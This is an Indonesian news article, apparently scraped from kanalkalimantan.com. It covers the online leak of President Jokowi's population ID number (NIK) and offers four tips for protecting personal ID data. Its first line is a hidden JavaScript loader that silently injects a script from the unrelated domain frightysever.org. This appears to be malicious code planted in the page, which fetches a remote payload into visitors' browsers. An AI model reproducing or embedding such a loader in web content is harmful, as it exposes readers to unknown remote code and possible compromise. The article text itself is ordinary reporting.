(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Ramai perbincangan kebocoran Nomor Induk Kependudukan (NIK) Presiden Joko Widodo (Jokowi) di media sosial. Melalui NIK yang bocor tersebut, beredar sertifikat vaksin milik orang nomor satu di Indonesia itu.
Menanggapi hal ini, Direktur Jenderal Kependudukan dan Pencatatan Sipil (Dukcapil) Kementerian Dalam Negeri (Kemendagri) Zudan Arif Fakhrulloh meminta, masyarakat tidak melakukan hal itu. Menurut Zudan, ketentuan pidana tersebut diatur dalam UU Administrasi Kependudukan (Adminduk) Nomor 24 Tahun 2013.
Pasal 94 UU Adminduk tersebut mengatur bahwa setiap orang yang memerintahkan dan/atau memfasilitasi dan/atau melakukan manipulasi data kependudukan dan/atau elemen data penduduk dipidana dengan pidana penjara paling lama enam tahun dan/atau denda paling banyak Rp75.000.000.
Baca juga :Â KPAI: Belajar Tatap Muka di Sekolah untuk Praktik dan Bahas Pelajaran Sulit
“Ini bukan (soal) kebocoran NIK, tetapi menggunakan data orang lain untuk mendapatkan data informasi orang lain. Ada sanksi pidananya untuk hal seperti ini,” ujar Zudan seperti diberitakan Kompas.com, Jumat (2/9/2021).
Di tengah ramainya kebocoran data NIK semacam ini, penting untuk kita mengingat kembali bahaya kebocoran data. Data pribadi bisa disalahgunakan untuk berbagai kepentingan.
Simak 4 tips menjaga data NIK tetap aman berikut:
1. Jangan sembarangan memberikan NIK
Mengutip laman Kominfo, 29 Juni 2020, Menteri Komunikasi dan Informatika Johnny G. Plate mengatakan, jika ada yang menggunakan data tanpa konsen pemilik data, maka itu adalah tindakan ilegal. Penyalahgunaan data tersebut merupakan subjek pada tindakan pidana dan denda. Ia menyarankan agar masyarakat melindungi data pribadi dengan selektif dalam memberikan NIK serta mengganti kata sandi pada akun-akun media elektronik secara berkala. Masyarakat juga perlu hati-hati ketika meminjamkan KTP, terutama saat meminjamkan KTP untuk difotokopi.
2. Pastikan pengguna memberikan data kepada pihak yang tepat
Saat pengguna mulai mengakses aplikasi online baik fintech, e-commerce, maupun media sosial, para pengguna harus memastikan data pribadi apa yang dicantumkan dalam aplikasi tersebut. Apakah membahayakan atau tidak.
3. Hati-hati saat instal aplikasi
Kita juga sebaiknya tidak sembarangan membagikan data KTP saat menginstal aplikasi atau mengikuti layanan tertentu di internet. Saat akan memasang internet yang diharuskan menyerahkan KTP, maka pastikan layanan tersebut bisa dipercaya. Ada dugaan bahwa data yang dibutuhkan untuk pembuatan KTP itu diperoleh dengan cara mencuri data-data pribadi penguna smartphone.
4. Hindari mengunggah foto dokumen atau identitas pribadi
Foto KTP sejatinya bisa menjadi sasaran empuk bagi para orang yang tidak bertangung jawab, apalagi dokumen-dokumen pribadi. Oleh karena itu, hindari mengunggah gambar yang berkaitan dengan informasi pribadi di ranah maya. Jika sebuah aplikasi meminta foto identitas, pastikan aplikasi tersebut memang terpercaya dan berguna bagi. Kendati demikian, kebocoran data NIK bisa juga terjadi karena kelalaian pihak ketiga. (kanalkalimantan.com/kompas)
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.